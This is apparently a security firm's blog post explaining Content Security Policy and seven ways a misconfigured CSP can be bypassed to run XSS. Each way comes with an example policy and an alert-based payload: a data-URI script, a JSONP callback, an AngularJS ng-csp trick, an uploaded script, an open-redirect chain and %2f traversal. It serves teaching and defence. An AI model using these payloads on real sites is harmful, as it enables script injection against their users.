Content Security Policy (CSP) is an added layer of security for the mitigation of cross site scripting (XSS) attacks. However, an attacker can leverage misconfiguration in CSP to execute XSS through CSP bypass techniques. CSP is designed to be fully backward compatible (except for CSP version 2 where there are some explicitly mentioned inconsistencies in backward compatibility). Browsers that do not support it still work with servers that implement it, and vice-versa: browsers that do not support CSP ignore it, functioning as usual, defaulting to the standard same-origin policy for web content.
One needs to configure their web server to return the Content-Security-Policy http header to enable CSP.
1Content-Security-policy: default-src 'self'; img-src 'self' safe-website.com; style-src 'self';
One can also use meta-tags to configure CSP, for example:
1<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Is CSP a Replacement for Input Validation?
The goal of CSP is to prevent and report XSS attacks. XSS attacks exploit the browser’s trust in the content received from the server. The victim’s browser executes malicious scripts because the browser trusts the source of the content, even when it is not coming from where it seems to be coming from.
While input validation secures your website from injection attacks, it is possible that an attacker can craft novel payloads to bypass validation checks. CSP is not your first line of defense, but it is your defense-in-depth strategy. CSP blocks the execution of scripts from an unintended source even when the validation checks have been bypassed. It is better to have both input validation and CSP implemented for better defense. You can read more about input validation and common security mistakes here.
How to Write CSP Policies?
Policy directives are used to define policies. There are different directives for different types of resources or policy areas. It is required to include a default-src directive as this will be used for all those resources whose policy is not defined.
How to read policy?
1Content-Security-Policy: default-src 'self' whitelist.com *.whitelist2.com
This directive means that the web server will allow all contents from the site’s own origin, whitelist[dot]com, and all subdomains of whitelist[dot]com.
1Content-Security-Policy: default-src 'self'; img-src *; media-src safemedia.com; script-src safescripts.site.com
This default-src defines that content will be loaded from origin server only unless other directives are defined, which are as follows:
Images will be allowed to load from anywhere
Audio and video can only be loaded from
Scripts can be loaded from
CSP Bypass Techniques to Perform XSS
Type 1: Unsafe Inline Allowed
1Content-Security-Policy: script-src https://<allowed>.com 'unsafe-inline' ;
Although this policy enforces a script source from
allowed.com, it is still vulnerable due to the usage of unsafe-inline in the directive.
Type 2: Unsafe-eval Allowed
1Content-Security-Policy: script-src https://<allowed>.com 'unsafe-eval' data: http://*;
Script source is set to
allowed.com but this policy is still vulnerable due to the usage of unsafe-eval
1payload: <script src="data:;base64,YWYWxlcnQoJ3BheWF0dSB4c3MnKQ=="></script>
Type 3: JSONP Callback and Whitelisted Third Party
1Content-Security-Policy: script-src 'self' https://<third-party.com>; object-src 'none';
In this scenario, script-src is set to self and a third-party domain is whitelisted. We can bypass it by using JSONP. Insecure callback methods are allowed in JSONP endpoints which allow an attacker to perform cross-site scripting.
1payload: "><script src="https://<third-party>.com/search?client=chrome&q=check&callback=alert#1337"></script>\
Type 4: Bypassing CSP in AngularJS
If scripts are loaded from a whitelisted domain in the AngularJS application, then it is possible to bypass CSP policy. This can be done by calling a callback function and vulnerable class.
1Payload: ng-app"ng-csp ng-click=$event.view.alert('payatu')><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
Type 5: Unrestricted File Uploads
1Content-Security-Policy: script-src 'self'; object-src 'none';
This policy enforces a strict source for script-src but we can upload a malicious file to the server and call it within a tag.
1Payload: <script src="/uploads/sample.png.js"></script>
Type 6: Bypass using Open Redirect
1Content-Security-Policy: script-src 'self' example.com/random/ website-with-redirect.com; object-src 'none'; 2
The policy contains two whitelisted domains from which scripts can be loaded. If one of the domains is vulnerable to open redirect, we can craft a payload using that domain and target other domains with JSONP endpoints.
1 2">'><script src="https://<website-with-redirect>.com/redirect?url=https%3A//example.com/o/revoke?callback=alert('payatu')"></script>"> 3
Type 7 : Encoding ‘/’ to Bypass CSP
1Content-Security-Policy: script-src <abc>.com/safe/
If your CSP points to a directory that is safe to load scripts from, you can try and load scripts from an /unsafe directory of the web application. This can be done by encoding / to %2f and it will still be considered in the same directory. All browsers seem to agree on this. If a server decodes %2f, we can bypass CSP by using %2f..%2f and traverse the unsafe directory to load scripts from.
We saw the importance of CSP as a defense in-depth strategy against XSS attack. However, poor implementation of CSP can be bypassed easily. This is a never-ending war between attack and defense. The one who keeps themselves updated, wins.
Payatu is a research-powered, CERT-In empanelled cybersecurity consulting company specializing in security assessments of IoT (Internet of Things) product ecosystem, Web application & Network with a proven track record of securing applications and infrastructure for customers across 20+ countries.
Want to check the security posture of your organization? Browse through Payatu’s Service and get started with the most effective cybersecurity assessments.